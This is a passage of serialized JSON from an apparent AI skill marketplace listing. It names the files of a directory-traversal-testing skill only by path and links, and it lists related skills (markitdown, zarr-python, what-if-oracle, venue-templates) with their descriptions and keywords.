performing-directory-traversal-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",true,[89,94,100],{"path":90,"resourceType":90,"resourceTypeDesc":91,"sizeBytes":92,"sourceHtmlUrl":93},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002FLICENSE",{"path":95,"resourceType":96,"resourceTypeDesc":97,"sizeBytes":98,"sourceHtmlUrl":99},"references\u002Fapi-reference.md","REFERENCE","参考文档",2138,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002Freferences\u002Fapi-reference.md",{"path":101,"resourceType":102,"resourceTypeDesc":103,"sizeBytes":104,"sourceHtmlUrl":105},"scripts\u002Fagent.py","SCRIPT","脚本",8876,"https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002Fscripts\u002Fagent.py",[107,147,156,165,187,213],{"skillNo":108,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":112,"categories":113,"keywords":128,"publishedAt":47},"01M6F0B6XPQ65AX2X0DWK8KT3E","markitdown","Convert files and office documents to Markdown. Supports PDF, DOCX, PPTX, XLSX, images (with OCR), audio (with transcription), HTML, CSV, JSON, XML, ZIP, YouTube URLs, EPubs and more.","MIT","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[114,117,120,123],{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000002","文档处理",{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000003","演示文稿",{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000004","电子表格",{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000034","行政与办公人员","PROFESSION","适用职业",[109,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,34,145,146],"docx","PDF","pptx","xlsx","documents","csv","ocr","Audio","Bash","markdown","convert","read","write","edit","html","images","youtube","with",{"skillNo":148,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":155,"publishedAt":47},"01M6F06SBHR9F0SDWE282Y8075","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002Fscientific_writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[151,152,153,154],{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},[109,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,34,145,146],{"skillNo":157,"name":109,"nameZh":6,"description":110,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":158,"categories":159,"keywords":164,"publishedAt":47},"01M6F02D4R14EJAPBWVDF9J9VQ","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-writer\u002F.claude\u002Fskills\u002Fmarkitdown\u002FSKILL.md",[160,161,162,163],{"categoryNo":115,"categoryName":116,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":121,"categoryName":122,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":124,"categoryName":125,"taxonomyType":126,"taxonomyTypeDesc":127},[109,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,34,145,146],{"skillNo":166,"name":167,"nameZh":6,"description":168,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":169,"categories":170,"keywords":171,"publishedAt":47},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[172,173,174,175,176,177,178,179,180,181,182,183,184,185,186],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":188,"name":189,"nameZh":6,"description":190,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":191,"categories":192,"keywords":194,"publishedAt":47},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[193],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[195,196,197,198,199,200,201,202,203,204,205,140,141,206,207,208,209,210,211,212],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":214,"name":215,"nameZh":6,"description":216,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":111,"licenseFileUrl":6,"sourceHtmlUrl":217,"categories":218,"keywords":229,"publishedAt":47},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[219,222,225,226],{"categoryNo":220,"categoryName":221,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":223,"categoryName":224,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":227,"categoryName":228,"taxonomyType":126,"taxonomyTypeDesc":127},"01JBSEEDCAT000000000000036","内容创作者",[230,231,232,233,234,235,236,237,137,238,140,141,142,239,240,241,242,243,186,244],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]